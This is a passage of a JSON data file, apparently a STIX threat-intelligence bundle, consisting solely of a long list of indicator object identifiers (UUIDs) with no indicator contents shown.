        "indicator--13f5252b-53f6-4410-88d9-309aa43f8db4",
        "indicator--f3ce015e-d5f9-4077-a561-aabea965cf73",
        "indicator--69b45cd7-e19a-4091-935a-e05e9e0c6b27",
        "indicator--423a56c4-88de-48e7-ac86-84c1d09fb6a5",
        "indicator--f1c2030f-415c-492c-880f-8e3e6e9c19e9",
        "indicator--d05f285f-880a-4661-afc6-78bcbda1400a",
        "indicator--02606ba0-53c0-4b0d-a998-bee88225fb14",
        "indicator--870a17e1-b1dd-4692-9c24-cc25b4652339",
        "indicator--5c604bcf-9b22-489d-aeb3-74ff4d37650a",
        "indicator--9cd33de4-b8a7-401a-a0c5-4bb65fda1e3b",
        "indicator--7f4d9fd6-4c97-4fe1-88b2-87c67dcf0481",
        "indicator--2c285d60-615c-49d5-b3bd-eb0a86973fb4",
        "indicator--9782ee2f-e3cd-4eae-88a3-14fd98d397f0",
        "indicator--f8a8aaee-8a9c-4c40-bfc9-8a86f7e60089",
        "indicator--4a134436-e7c5-41f3-94c6-d2e95fd071db",
        "indicator--3d69dd72-d79f-4a01-aa14-62997de201a4",
        "indicator--c6ae02f5-2a64-4585-ba77-01e5cb9db703",
        "indicator--205fec85-02c8-498d-ade6-18c7e4ecbd93",
        "indicator--d6de05b6-d202-4a25-97e4-acb2185695ed",
        "indicator--cdf3673b-4ef1-44e9-8dae-f6093eb209ab",
        "indicator--c2670fa5-7ca9-4a99-9a2c-a98b3f667493",
        "indicator--1245fe44-dedf-4c79-bb2f-64f7c27181ce",
        "indicator--d99aec25-7393-4730-9b3e-dd76f0b6eab9",
        "indicator--43e3d9ea-69c0-485d-a7de-764f72619368",
        "indicator--b5dd4686-10cd-486f-925c-0865b9e1965e",
        "indicator--edda41f8-b1eb-49cb-9d04-9ca93487c961",
        "indicator--947d4c77-dd0e-4507-b065-3a7d50271c2c",
        "indicator--df5f048d-75bd-40e5-b3be-c1b745881b74",
        "indicator--c6a9f83c-bf8e-4dba-8b52-01c70f4d766d",
        "indicator--91d02eca-252b-4ba1-99a1-d9fca024b0b5",
        "indicator--de2157c7-6001-4454-8dc3-9c10307921fd",
        "indicator--7d5ec07f-b1cf-46c6-9c5b-9f83a17b1b68",
        "indicator--b123ced4-a4a5-414d-8376-481ec094b8d5",
        "indicator--5abdcbd8-3602-456e-87ec-7f1b5da0ec02",
        "indicator--ed661706-d143-40d3-aea1-3ef3b480f541",
        "indicator--86ede977-669f-470f-96d0-fe862c8e63d2",
        "indicator--50e120d5-79c7-4d88-b537-f6b18c6425ac",
        "indicator--72eef685-b011-48c6-ba84-553ec83370cf",
        "indicator--44e798e3-85b3-475d-8af7-15503e22cf5c",
        "indicator--9525cd3f-a376-4380-988d-afaf37bfeceb",
        "indicator--552b617f-0226-403e-88ca-cde1bef5b4b6",
        "indicator--79b917fb-8fe5-4f72-948f-e79464f17a8a",
        "indicator--2f1d4977-d631-43c6-8ee1-d46109b352b6",
        "indicator--0a494181-1087-461b-bf53-e9bb5155eff4",
        "indicator--f553053e-75ec-4db6-9411-668deba33cae",
        "indicator--fa09da89-9a03-4455-bf56-d57638571799",
        "indicator--e68f063e-8549-4616-acb9-99068226a8f6",
        "indicator--c9e2d632-6856-475a-a2c1-0a7bdfc405d6",
        "indicator--3c556451-b842-4528-a991-a92f41838828",
        "indicator--26498715-131a-4088-82a6-d8aabf1784c7",
        "indicator--a2ae3a92-b8f5-48a1-a2ff-0003af430e48",
        "indicator--a2fba01d-0ab9-4fe1-8d3b-a67bcd630b4b",
        "indicator--a2ddacd9-a195-4a39-a8e3-9aa05b8634b9",
        "indicator--0f91fe28-1627-4a59-bca7-5ca322c4ac2b",
        "indicator--fdfdb5ae-a4cb-457b-b020-50132e70011a",
        "indicator--8afa4066-2cf0-4d6c-a914-0a2ab8e793e9",
        "indicator--64aa268b-fc47-4ed1-aa0e-189e0c64ef67",
        "indicator--88dd5c31-a5b1-4ebb-9faf-d5304f7d0e35",
        "indicator--42bad659-02d2-430b-9146-475d5ac13b0a",
        "indicator--946b1294-581f-452c-a13c-cceb636a7d61",
        "indicator--00dd2ae3-1140-4743-943b-71b0721f158e",
        "indicator--d917092e-859f-4991-b5f3-5d1c81b9c4d3",
        "indicator--2cddef20-c882-4938-a297-5438de793d91",
        "indicator--e6cc1848-86b7-457e-bc72-e932d4daf15a",
        "indicator--e2ee5fa7-5d33-4386-8002-c05dcc308b04",
        "indicator--9174c8db-85fa-44cf-9b87-c15ac7a452c6",
        "indicator--8932e378-3936-4da2-b7d7-1efcded44b69",
        "indicator--e588fc1e-55eb-44ad-a61c-838875fe3d37",
        "indicator--eefd484f-858a-4153-bb9a-e6caa7515918",
        "indicator--4effa4ad-8f4d-4f5b-a583-7276e73c7669",
        "indicator--43706099-0a1a-4d1f-bd90-fea96d1de866",
        "indicator--ee02b095-7810-4187-beb2-22b4b7150a84",
        "indicator--4196fa24-55d8-4121-b599-b8e5baa2e68a",
        "indicator--3367c2e3-d826-478a-9d00-ce71ff63921f",
        "indicator--3fdc2296-de54-4a46-a543-e9801975ec40",
        "indicator--1b5402ab-9a93-40dd-908b-c956f587b6ea",
        "indicator--b9295368-8b4f-49da-ae6e-02109a54381f",
        "indicator--4b168113-eb7b-41ae-949e-5357a1aa6d1c",
        "indicator--2e5def77-5800-4900-a39e-4152152a6ee5",
        "indicator--54b1c250-6b00-42e1-86d0-990fc1607cd5",
        "indicator--7684e97e-5d42-4e6e-b561-f06c0fde3291",
        "indicator--11110be7-556a-4fe5-90b3-979970b13888",
        "indicator--9dcc8170-b281-4ae7-9b31-a6fad3e33a32",
        "indicator--e220b628-f325-404e-9107-dc7c557c4ca1",
        "indicator--49df136a-e248-4264-85dc-2c73a627407a",
        "indicator--a7612c70-7400-4832-a7a2-ad1743d1a88c",
        "indicator--48a47c82-62b4-44f8-b296-e580ba683501",
        "indicator--e95e1118-34c9-4dd4-b6fa-b4c9a24697b0",
        "indicator--948a95c0-ccb6-4e7f-8fad-1d3ea60458f8",
        "indicator--2870aae7-b962-49a3-a2aa-c4fac3efb602",
        "indicator--0cecec4b-e23a-41cc-a2a9-7865420288b0",
        "indicator--3b59ca0f-cc13-4593-b0ba-e340b468265c",
        "indicator--67f2373b-fad6-4d09-886d-96c9caa218f1",
        "indicator--37fbdd7a-3625-46a0-9520-36be354f30aa",
        "indicator--21d8dafd-5823-4f08-8b6f-f557e2a556b3",
        "indicator--eced03b5-d43d-42ba-bf3a-0a1c834e096a",
        "indicator--01967555-e4df-421b-9ce7-4de81ba9b7b7",
        "indicator--41d602a9-1205-4cb4-a3f6-b93307ac76b9",
        "indicator--aa5aa871-75a8-425d-a47d-ef68943b95d3",
        "indicator--0d375ec7-7314-462a-a7a4-93b913ff0f55",
        "indicator--7bd1d2ee-2a5c-48da-8a02-6ee56cc7806e",
        "indicator--ad7cc97f-a512-419e-9c63-8fbf37585fe5",
        "indicator--fb6a9da6-b76e-4e7f-8df6-5728f4776f2d",
        "indicator--011ea97f-bfa0-47d0-b332-b7a2546ec6dc",
        "indicator--2fbcfdb3-6d74-4404-8a1c-1b97295a0a87",
        "indicator--4673542e-e0de-4684-8eec-c9798eba7328",
        "indicator--c0dd9c47-b6a0-4949-85d9-d555679ae28d",
        "indicator--e7076648-fb1a-4acd-9e59-a32033fddef1",
        "indicator--9ace189b-5136-45a1-bd21-555309fd41cc",
        "indicator--16c24037-8027-4888-9e1f-1a4f0141362e",
        "indicator--b77245de-a12c-4055-aca0-14681e8adb97",
        "indicator--80ac0a39-2bcc-4ac5-9918-e01223bbd660",
        "indicator--cc3e9a6e-9c39-4e13-b1b8-30c79dbe9515",
        "indicator--dd2d61e4-1d95-43f7-affc-8ff2de67c94b",
        "indicator--8f23d182-a6b3-4e59-afdb-1cf2583cdfe2",
        "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
        "indicator--53c64478-acab-4802-8d40-ac18f76c5ad5",
        "indicator--3abaad2c-182f-4770-a27e-0038e8dd6c98",
        "indicator--38e02fd9-12bf-4754-bc64-9bed22afbcad",
        "indicator--7c2850ed-6643-4ef0-af2c-91bffa35455e",
        "indicator--39b93440-7597-4ed2-abcc-feab5bdca5b3",
        "indicator--b41e1ee4-6e9d-44cb-ae8a-335f2894cf3d",
        "indicator--47c926c7-0f10-4eb6-adc5-3d2e0f47923b",
        "indicator--f680e197-8f48-431a-8977-033f955a9937",
        "indicator--552739cb-2316-4269-bdfb-7bc28db10fae",
        "indicator--cf770ad4-e995-4b67-92dd-1048391f03e2",
        "indicator--8e734322-7dde-4010-8ad5-bfe691f3b505",
        "indicator--5c074d32-2d33-45c5-a602-e17396d66a4e",
        "indicator--f7f91d40-9e10-493a-9de0-19709e937b77",
        "indicator--454bc667-9261-40e4-9ed7-2103c0480a91",
        "indicator--ff438715-b93c-42c1-bee9-f541a282ea04",
        "indicator--35d87f70-4615-428f-840e-abd05a1ecfd9",
        "indicator--131e0f41-9ed1-438b-be58-607f6a5d2b2e",
        "indicator--0d3dbba8-2c8d-4422-8adf-1f9cb5908186",
        "indicator--5f7cbb53-d2f3-434a-8258-9d182177d94c",
        "indicator--4f1bf314-7ad0-4034-a9a5-2e589abfe145",
        "indicator--e07cc1df-7e6a-4536-9731-c3433d41b355",
        "indicator--ce4c58b7-b7bd-4923-813e-bc7361c8faec",
        "indicator--8a2d2956-57a7-41d0-9cc4-dbe610da43f4",
        "indicator--b25c76d9-7861-46d5-b72a-79d943cfbd08",
        "indicator--187bdb0d-5a02-4f3f-b402-e8737ab84cfc",
        "indicator--6237c2e0-1d94-40b5-a836-5e27bea0806d",
        "indicator--d1cf8bb3-763c-454a-9cc8-11d5f882c1e0",
        "indicator--7eb6f882-1cba-45f3-b26a-f2dea9b93364",
        "indicator--5947f383-8f4c-48c6-8f9e-43a8ab156d87",
        "indicator--f86e7eda-55aa-49d8-9a28-f677a4ff47c8",
        "indicator--85f0b11d-626d-44cb-af38-44c78e4b0edc",
        "indicator--4c847d3c-20dc-4fef-9ced-8b37c2e1b26a",
        "indicator--5c907cad-0eeb-4f5c-9b4f-2c001e3e6933",
        "indicator--ce2f7946-448a-4c83-88d7-59164f92e79c",
        "indicator--07b1486d-ec28-4f03-bad1-a3f5d6d8a4ec",
        "indicator--db53358a-d595-4616-843d-d7aded3daab5",
        "indicator--55a11748-a410-4908-a84f-a863ed6c58f0",
        "indicator--99d508b6-f7cc-46ec-a5e0-b6cf0c2f71e5",
        "indicator--faf41f07-8650-4252-a9bf-cd475d978f9e",
        "indicator--d5297fc5-3091-4669-8b4e-66b5f2751fa3",
        "indicator--d15b5abd-05df-4acc-8ef8-7794f999d949",
        "indicator--964b41e7-1a43-465a-94dc-042b5064088f",
        "indicator--4e943c76-e4e3-4b9b-910c-f3381e19f923",
        "indicator--690a2b4c-f235-44e4-b273-4f8bac554874",
        "indicator--9677225b-9765-4ba7-a6ff-339397ba363d",
        "indicator--b60a345d-3fa3-4389-80bf-c89aad5ae37c",
        "indicator--bf328ae2-e16e-422c-852a-a6bdf676fe8c",
        "indicator--a47d6f86-345e-4c31-ab2c-a7f1b0fc5662",
        "indicator--3b631f21-d4b5-4a08-8796-6185c9f725d5",
        "indicator--fc2f1a7f-07c6-4f8c-8ae0-8d39b8702aa7",
        "indicator--e51d4f90-ff35-4178-8d18-5a82ee66aafe",
        "indicator--ebce730c-25f8-42dd-8347-4a2b8441a6b7",
        "indicator--cf7010b5-4d4b-44bf-8dca-a10547ea017e",
        "indicator--eb5493ce-3dfe-4283-916c-1902397f1e38",
        "indicator--cb380b92-6390-4bc4-82a6-bfb98738e671",
        "indicator--d9ce354e-0006-4acf-9ebc-f77dae830c26",
        "indicator--be229548-3846-4f5d-a729-c8a0770bc182",
        "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
        "indicator--a54179e5-55ef-4857-a7b4-f55e170e4045",
        "indicator--39a5b71e-1cda-4936-8a9f-bd5b2e14a9ac",
        "indicator--0ac03819-16e3-4135-9279-6b626bbfd4be",
        "indicator--675c3f63-0d93-435f-bc42-b123e8fbb6f7",
        "indicator--05638339-5ea0-444d-a6d5-4b109c4603ba",
        "indicator--d8b9c0dc-d3b4-4b21-b1a8-228ed7fb5ce7",
        "indicator--6b848bf6-0b52-4072-a6a5-9dc989f6a183",
        "indicator--295e8b42-f855-4626-ade2-00eaad4bf83d",
        "indicator--81e87af3-2ff5-4ba4-b52e-8f3a994e0a2c",
        "indicator--a4a64f95-101a-4543-b71b-a637f4ba64a0",
        "indicator--6f87171d-0c82-493d-bbc1-d97deb3783fe",
        "indicator--90cfb082-443f-4dab-820a-459b6427763d",
        "indicator--885c3b29-606d-4679-9f3e-a98af4aed531",
        "indicator--b2c85f27-9420-42de-b7c6-a10ee601e08e",
        "indicator--9515a2e6-c374-427b-9cf7-f52c8bc4dd30",
        "indicator--94eb668a-8168-45e7-9a91-c0453e871ac8",
        "indicator--2bb1b2b1-5ca5-428d-9622-d83404f48072",
        "indicator--d378d093-56c9-4229-908e-4eabd403beec",
        "indicator--52a817e8-0836-4f9c-824e-cf98991bc55c",
        "indicator--5f68d1af-12b9-4289-89c3-05fa31be7c86",
        "indicator--b792d090-d247-435b-84e3-2654761bb1d5",
        "indicator--5b51a52f-6005-40f4-a054-e8b4d48e812b",
        "indicator--00d012a2-1973-4b18-8aef-a31cb8cd6c24",
        "indicator--a7a1f865-3479-4076-ab13-b4a4e1410bf8",
        "indicator--c0144697-eb9d-4151-a3bd-9e8ea4157291",
        "indicator--17681e4f-d925-45b3-b80f-a921499aa3d6",
        "indicator--d7086b1e-80e2-448c-bf3c-4d3f1a8fe622",
        "indicator--4aecca7f-c07a-4bf3-8a27-ec62ad151008",
        "indicator--9fbab1c3-664d-48d5-9643-a473c9247528",
        "indicator--6dba8973-c7af-42e3-8ff4-2c2dfef5d517",
        "indicator--8cb77493-e2a1-43c0-b11b-9cbf25d5ddd6",
        "indicator--7b0513b5-e74c-49a2-851a-ff0847b40cea",
        "indicator--0f3b760c-2858-4e6a-90c1-5f6824457871",
        "indicator--194d48eb-4b5d-43af-b718-a14b835f7451",
        "indicator--a423bf1c-b76a-4cbf-af9d-d81565f77710",
        "indicator--7dd4dab9-a67b-4585-a8cd-854b5a0cb1f5",
        "indicator--63e05af9-773b-4604-b700-84fe65c3b5bb",
        "indicator--117d90b8-5d55-45f5-bcf6-c8f3e9c46ce1",
        "indicator--aa54527d-8a2f-4d88-92e5-823b63fc19c7",
        "indicator--48e3bca0-0bf1-4dd7-ad23-d6f9a5fe1f63",
        "indicator--225f3e5d-90aa-4364-9ef7-630853731d54",
        "indicator--7ad571b6-dd3a-4f77-85f4-48302520de52",
        "indicator--ed0e5e6a-a177-44a3-9012-8470abafb278",
        "indicator--cc89abff-a2e4-4521-ad6a-1fdaa0b1bcb3",
        "indicator--b5e36315-d43f-4095-b5ab-8984578dfb09",
        "indicator--7819fbb8-3fc0-4adc-9c1f-cc53f9d1251a",
        "indicator--c4121acc-c6e8-480d-8409-70a2687e19ae",
        "indicator--2cebfa52-ad93-4df9-9533-4809fffbab52",
        "indicator--48cb3faf-90f9-42e2-b62d-10867fe19190",
        "indicator--282fd2f3-3f2b-477c-8d6e-ef180db31123",
        "indicator--54b5358f-cffa-45d8-97ad-c3aa442d48cd",
        "indicator--363862ee-fcd0-46f1-b39c-c687a7978637",
        "indicator--4cfceba5-3c56-42d6-8dae-d97342364711",
        "indicator--e7ab9103-689a-4d8b-bb8d-3eaf5c7b59c5",
        "indicator--2c30edd2-e6ff-4b54-b623-3b7bbf4710f3",
        "indicator--6d365d32-7991-4fc7-99b3-c40bd6b793ae",
        "indicator--bd64cd53-e032-45cc-aa31-dc2d3effd229",
        "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
        "indicator--77656132-1436-40c3-9c6e-56ab6b4589b0",
        "indicator--f3096bff-2cad-46dc-8511-f25f2003ade5",
        "indicator--0f95cf34-2ae4-4e03-a739-46e06a78610d",
        "indicator--2a482efc-6afd-47a9-8c34-e0eb4b387d33",
        "indicator--92237447-0860-4258-93e1-2515567ac928",
        "indicator--afdee806-5073-4c3a-ac0d-388cc1a567b9",
        "indicator--9abec500-7a77-4a1b-94d3-20dd602e4941",
        "indicator--fe17b6b1-80ce-486d-9a3a-a99693a68f82",
        "indicator--4f97bd26-4421-44f1-a0e4-29151265d59b",
        "indicator--e638795e-203f-42db-bd8f-a3ac18320a58",
        "indicator--c6fad0fe-e977-4807-b73f-329ae632c721",
        "indicator--827015ad-59ec-4ddf-a0dd-91a71a6cd0cd",
        "indicator--fc29090c-3faf-42ab-809c-b76dd77a94cf",
        "indicator--60ebc9a9-d465-411d-b82e-1ca917c16aba",
        "indicator--6facf2e3-6267-4375-a1d7-afb429a9c5b7",
        "indicator--b7dd2f7c-6b60-4720-88d3-6d6f3a90e8d5",
        "indicator--db2540df-0fab-49ec-bb15-a86fea6e56a3",
        "indicator--90d91b24-77ce-4f8b-a0bb-033ef4767de5",
        "indicator--4ca352d9-f68a-4b7e-9050-c21f4bee1828",
        "indicator--e9f60373-aa78-4747-8a5f-7764ddced719",
        "indicator--52c2f9b7-7cde-4096-bb5f-d7ec5f78668e",
        "indicator--7e45e129-1c12-4e88-bb1c-c2bac862c060",
        "indicator--a0b6f95b-2396-4812-82ba-e53ed0c9c5db",
        "indicator--9368d88e-6dbd-48ff-a506-3e686763ef3c",
        "indicator--85d77481-3e52-4487-9690-86e6fe7ba756",
        "indicator--cf530331-945a-4b99-a7af-4cbf8546eeda",
        "indicator--8d309768-2b76-49dc-8e13-b1e274c2e1c0",
        "indicator--e5c1bfc3-6266-42b6-952d-1006eecc9bd6",
        "indicator--ac287412-4b54-45a9-8ac4-cc5ab1170236",
        "indicator--81c8fed9-ba77-46cb-a409-cf9374201336",
        "indicator--a9342441-8756-4b0e-8034-f78c22f32393",
        "indicator--ac977b83-8144-4bf6-bda1-3401ae8f8746",
        "indicator--80c0f5f7-75a1-4248-84ce-5dbcf9d42569",
        "indicator--23c847df-dea8-44ca-b523-a81dea93487e",
        "indicator--f17f72f3-17ce-420a-86bd-c42fc0e455fa",
        "indicator--cdbd238d-89ed-4084-a46b-d20293b5a04a",
        "indicator--dc6bf136-71b0-4aab-9e5a-88ffa5b03195",
        "indicator--9ed489d4-b3f2-42fe-8353-88c8980f52ce",
        "indicator--3b21cec6-52ee-474d-8613-b5f371a89cfc",
        "indicator--6891bae8-3b38-4839-b6af-3d4eb71e1186",
        "indicator--8bc9c4cc-c10f-4949-9b7a-4396b8c10385",
        "indicator--eda128b3-3cd9-40f1-98dc-3b75fb63e66d",
        "indicator--34a74e6c-f44a-484d-a837-88163a38f624",
        "indicator--75f2b4b4-de8f-4e23-bf81-6e1e87231755",
        "indicator--d44b431f-d071-4a25-8798-66a00bc38268",
        "indicator--6b2a0422-95b6-4141-a2a4-57c2ea9b5512",
        "indicator--49bd0e26-57df-4d45-889d-3b370a8446ab",
        "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
        "indicator--61a9aab5-cae9-46ef-9822-d7e4f5b0dcf6",
        "indicator--9f66db7c-ff4e-41ba-87ca-444e4c84a881",
        "indicator--73097140-92c8-43ad-a1a0-daaac93aa5ef",
        "indicator--82012812-b4e4-4687-82f5-3ab09bf94f6b",
        "indicator--53e47396-c160-4e12-ba20-1b606ab5bdc5",
        "indicator--e97e5b91-4f61-420c-9d3c-3f86733365cd",
        "indicator--66a1995f-9f85-47c5-aa94-27bcc2857794",
        "indicator--dbe7cf55-e7ee-4243-b2a9-ecf351480d72",
        "indicator--9b8e160b-efa0-46db-a147-a402d0705ea3",
        "indicator--fb702dd9-9896-4d0f-8061-03be4e128975",
        "indicator--16537145-2e1a-458c-ba12-838430153619",
        "indicator--3d70b19c-c225-4110-982a-2beb82bb2598",
        "indicator--df71af7b-4cbb-4368-9666-a4de4e4d39b2",
        "indicator--2f4e8859-f64f-41f6-9309-e17abb0ccad8",
        "indicator--35c8f131-2a9f-477c-ac72-0d85cfe35220",
        "indicator--4b5f62b9-da76-4be7-8296-23f04bfc6878",
        "indicator--128c7725-44b8-4d43-8403-239b172aa0db",
        "indicator--32c4698f-8f4a-46b2-ae52-5056f17da81c",
        "indicator--0693e68d-3e2d-459c-b733-d1b30fabdb1e",
        "indicator--a5823db7-5467-4a07-a003-544477135494",
        "indicator--27b5bc13-2f83-4bb8-b38b-d1ce8890c1b1",
        "indicator--a57323c4-65db-48de-9d4f-8c79fe463317",
        "indicator--ca037ebc-4f59-4ac4-8995-67665c95fa11",
        "indicator--2c186589-3277-491a-b721-f25475de719f",
        "indicator--48d013b5-7c6f-4cae-bd5c-9b6ae25fc650",
        "indicator--fb9a7c41-026c-473c-8175-75772b44bb2f",
        "indicator--8072d75e-cddd-4602-bd44-d6ae772de4db",
        "indicator--81021643-535f-443d-9ea5-22f149a4b43f",
        "indicator--ae362ebd-ff1e-4c27-8dcf-b2c748cfd7a2",
        "indicator--f4117b78-575d-4b63-a0f7-764f789db6bb",
        "indicator--f0dc3502-ccc5-4ddc-9ee0-c5ee1c6bb672",
        "indicator--da0e8916-4cd3-4bfd-9eab-02272c59f7e6",
        "indicator--f96bdfa5-13b8-4951-b00c-8767d9ac11fc",
        "indicator--9d70f769-764c-46a2-9833-3104371af0b5",
        "indicator--7047d9bb-1ce6-4685-b47f-778a64be3384",
        "indicator--bd0c93e3-1946-411c-9e0d-5bdbcedd2cae",
        "indicator--e6fbbe65-19a1-4b14-a5fa-dcfbb5be3609",
        "indicator--18520678-1855-43b6-abf2-ed04019ff816",
        "indicator--1497507f-d15d-4b47-ad60-16a03341e6a4",
        "indicator--25366d54-9933-4bde-81f7-9288c1cce763",
        "indicator--d474f360-96c7-4470-9612-a31b21a7982f",
        "indicator--39782421-bbf1-4558-ba93-5b36836ccd3d",
        "indicator--d77cbe31-47e8-48aa-bec7-313877dc3d79",
        "indicator--588e3774-2be9-4153-ae33-f7aa6d7dc035",
        "indicator--a3ba4d80-eda5-421b-abb3-bd39e929a3ce",
        "indicator--a46cf41e-7386-46ef-adf7-ad64b2747235",
        "indicator--8b4939c3-a001-4f71-94c8-3946f93c3d8c",
        "indicator--64a1e7be-d72f-4c12-8730-37b6d34ff041",
        "indicator--d644e876-e94a-481a-bbcb-68c4c9b6bffa",
        "indicator--4514c081-6ed2-4ea1-8d82-24ce481cfef7",
        "indicator--11096197-cfde-4f02-97c4-5c46c8ae3c2a",
        "indicator--d787d512-b071-4178-acb4-02adff50e33e",
        "indicator--d6a0e595-e434-41ef-8369-b9d958df8452",
        "indicator--c230734a-c406-4176-ae92-0eb70b2fed48",
        "indicator--8f6b6fa9-ec95-4002-8edc-a8cba62e86ba",
        "indicator--e916cecc-8201-43f7-a94e-595b982d2da9",
        "indicator--a71ceb56-8454-4908-a3e0-70316d079790",
        "indicator--9e01c6a5-4f51-44f7-827a-8cb302680a81",
        "indicator--5488a3b7-837a-4fc0-81a6-3f5f7373f7ec",
        "indicator--a2482014-7104-457c-b912-adabcb492e3b",
        "indicator--f84dc8c4-f738-46ab-9978-8d988aa515bd",
        "indicator--7dc49f16-4b79-4f5a-9313-514eb8f38f8f",
        "indicator--a189448d-861e-44fd-bff5-e1e183b385e4",
        "indicator--f613f802-4cd3-4bf9-82b5-b7df616963b3",
        "indicator--63ee9bee-ccff-4455-9084-b986b0214934",
        "indicator--c2d9ef4d-8c97-47a2-8675-56390802bc8d",
        "indicator--61c281b4-4ea7-4b3d-ad7b-45baa9d342a7",
        "indicator--11a04ee4-6cfd-48d1-8125-d327a84ecc94",
        "indicator--4660635a-943b-4769-98b0-cdec7db6009a",
        "indicator--f96a4e81-2e42-4328-844a-d81d8c690b7b",
        "indicator--11434f71-b670-4896-87c9-eecb65e51964",
        "indicator--075bffe4-8a3d-4061-818a-76628e1eaf56",
        "indicator--3606f438-a579-4d80-872b-72ee4231d0b6",
        "indicator--badb058b-6605-418a-a1eb-1484d237bf88",
        "indicator--418ded4e-e380-47b4-83ba-5d3a66b38d22",
        "indicator--3c2dab44-b69d-4536-87e3-061928be738c",
        "indicator--d823c9be-be3f-4ac0-8e47-f12bd5d233a9",
        "indicator--ec0fac27-f393-4fbe-9a50-54bf6ca6fed1",
        "indicator--fe9f9cb9-0c71-4c43-8197-1486f37b03e5",
        "indicator--b11ab95b-3f51-4585-987a-ad1f9467fe47",
        "indicator--ef80c82a-a27b-4604-a096-bf1e1a78ba22",
        "indicator--fc0f4a17-9f78-4702-9014-1f82defb6a68",
        "indicator--32db9e13-e871-451b-9a67-9b2c3228aa16",
        "indicator--b7f78a36-3412-4b6b-960c-68b083453954",
        "indicator--365f9692-8257-46bc-af97-373ae1707627",
        "indicator--bb3ecfb6-faf9-47db-a7d2-919d3382052a",
        "indicator--ab7da73e-d8fc-4172-945e-96d8f64ec73f",
        "indicator--38f4621b-0b20-42ab-b306-6332a7fdf278",
        "indicator--5cec3a01-d85d-4282-ba02-4ffb9ccad251",
        "indicator--f3ac54ea-2678-46d6-8c72-05d7971ce44d",
        "indicator--997c8cbe-7c96-48bf-ae82-932697246306",
        "indicator--430b2cc3-eb80-4748-add7-2ab0f041f3f6",
        "indicator--04274522-5976-4e2f-b515-50abad22e929",
        "indicator--55aa5ccb-f9c1-45fb-9007-9816ac50f74c",
        "indicator--b69a6ecb-69e1-4516-b423-fb2cd0109e58",
        "indicator--b2d62873-5d56-4585-99a2-db911ae3b2dc",
        "indicator--4bc58221-c31e-4d12-8ce0-809d903224a6",
        "indicator--4bce2f44-30a7-4d22-aff7-bbb40196780e",
        "indicator--13f45dac-bb76-4749-a376-afafbab93e4a",
        "indicator--1fe54c4e-411c-4464-af67-3e3092fb8bbe",
        "indicator--2246ba4b-e468-4a27-9631-6faf08de4e3e",
        "indicator--6e391c63-0d03-479a-81f3-4bfcb8debc6c",
        "indicator--651a0a88-e7b5-4249-a43a-1b1aa8fab396",
        "indicator--6a0d0e6f-3796-4703-88d0-e8cb3b2e6560",
        "indicator--c3c47d6b-7dcd-4466-907c-d573930aff27",
        "indicator--dcd9aac5-8b96-4ee5-ae95-93946542081d",
        "indicator--cb3a5e4e-4da5-4765-b3e6-14cd173e37a6",
        "indicator--ba96e27c-a2e7-429a-8c59-35a759f23a07",
        "indicator--b270f7e7-1cfd-4d81-8869-138e7304a9fb",
        "indicator--e1d3ceb5-5293-419e-b864-504a0bf4bed4",
        "indicator--a6f3f780-3645-4be6-96a6-13596fe61dcc",
        "indicator--204317f2-4d3f-44ed-a4ca-343318c2701b",
        "indicator--e8d5da3c-79f8-4ff3-9fee-74800478ffee",
        "indicator--456277d0-9b36-4ae8-88d2-015583337fc1",
        "indicator--ae9a3a75-4244-4f92-8484-6a8bd2924bbb",
        "indicator--82380b05-3eca-4e0c-b7fd-e5467c75654b",
        "indicator--6e366db1-c76e-496b-b84d-159298d0490a",
        "indicator--0da22bdb-13cf-42c1-9d16-f3f932daaa77",
        "indicator--ce0dcd07-cb30-49a4-8fca-d78e9745ed63",
        "indicator--805b192c-8192-4240-b679-1f6a66f54027",
        "indicator--ef07f57f-acaf-49e5-9f79-f79c89cb45a1",
        "indicator--b44a5247-bd00-465b-a6f6-8cfa98314780",
        "indicator--3e033060-dfbf-4f48-af26-7f514a08a33b",
        "indicator--18483ac9-8223-4747-811c-d696369d67f1",
        "indicator--6a1010b8-824b-46b2-a502-606fd891f9fa",
        "indicator--3e6f0ca7-8b69-46e6-b94c-c9f587c91f1e",
        "indicator--b07d2440-9641-455c-90fe-bedf9a1b012e",
        "indicator--ad0acb12-13b0-495b-8403-520181585b0a",
        "indicator--aac177d3-01b8-47a4-9862-a9a3de6d0131",
        "indicator--e58db47a-df56-4bc8-9bc1-4dc1f4930ded",
        "indicator--3ed2f03c-9b89-43ac-a1fa-5b322686d2af",
        "indicator--b47f2743-a218-45de-a706-853ca09a8ef4",
        "indicator--6fc57c3d-0eb6-4c87-afff-70d92fa8f4f5",
        "indicator--66c18eba-01a8-45c1-8754-0325efbe9905",
        "indicator--fd2cb880-6654-4dc5-938c-159ec458574a",
        "indicator--05247b58-ff7c-4b6e-b801-e3a5776eb88f",
        "indicator--116a7039-b02a-49f3-aaf9-2c667ee28bcc",
        "indicator--8898f308-0e42-4014-b23e-8232e7500c16",
        "indicator--190c2074-f5d3-46c9-93b1-2716078288c1",
        "indicator--6b7822ed-b38d-481c-94f2-889d792ad545",
        "indicator--2d86e54f-2dd4-45a4-bcef-486489114f64",
        "indicator--3a7462e8-6f8d-453f-836e-4dd9d4320489",
        "indicator--8d436eba-3df8-4093-8076-266db6a0e923",
        "indicator--8de8a02d-aa8a-4858-8af9-a0f878427868",
        "indicator--91d7a54f-c29b-455d-9b7b-d2d1094f1930",
        "indicator--2f480540-2872-4204-9337-bed60bfcb70f",
        "indicator--51b55298-542c-4ca2-8df5-a7bd2a687866",
        "indicator--70066681-10ce-456f-8e85-a3333d62d00e",
        "indicator--b09f5c1e-3519-4dde-b3bf-986593d89ae8",
        "indicator--d031e8cc-8aa3-4e44-b53e-5d175d865235",
        "indicator--a3f0b7cf-f76b-4954-9f7e-9363562a3814",
        "indicator--57bfcdb2-c12b-4591-ae6f-978422d67588",
        "indicator--9b8ca264-7fe0-4aa1-ae08-c082d7b8dc33",
        "indicator--2136611e-f533-4f9e-b231-a12e744536bd",
        "indicator--2146f9a6-2f01-4564-a370-8ef5e67716b1",
        "indicator--d1623544-7ee5-47d4-9f0b-4f9793724407",
        "indicator--c371f8bd-29f5-4ece-ba9d-c5e38c60123d",
        "indicator--829e7b85-b46e-4ca1-bd12-08e6b66780db",
        "indicator--a575a268-3e2a-4ffb-8142-29522d556b89",
        "indicator--7ad3a50c-7b88-474a-9427-735cd709e897",
        "indicator--0ef9a724-d6d2-4e4e-bb3d-7f73da3aea50",
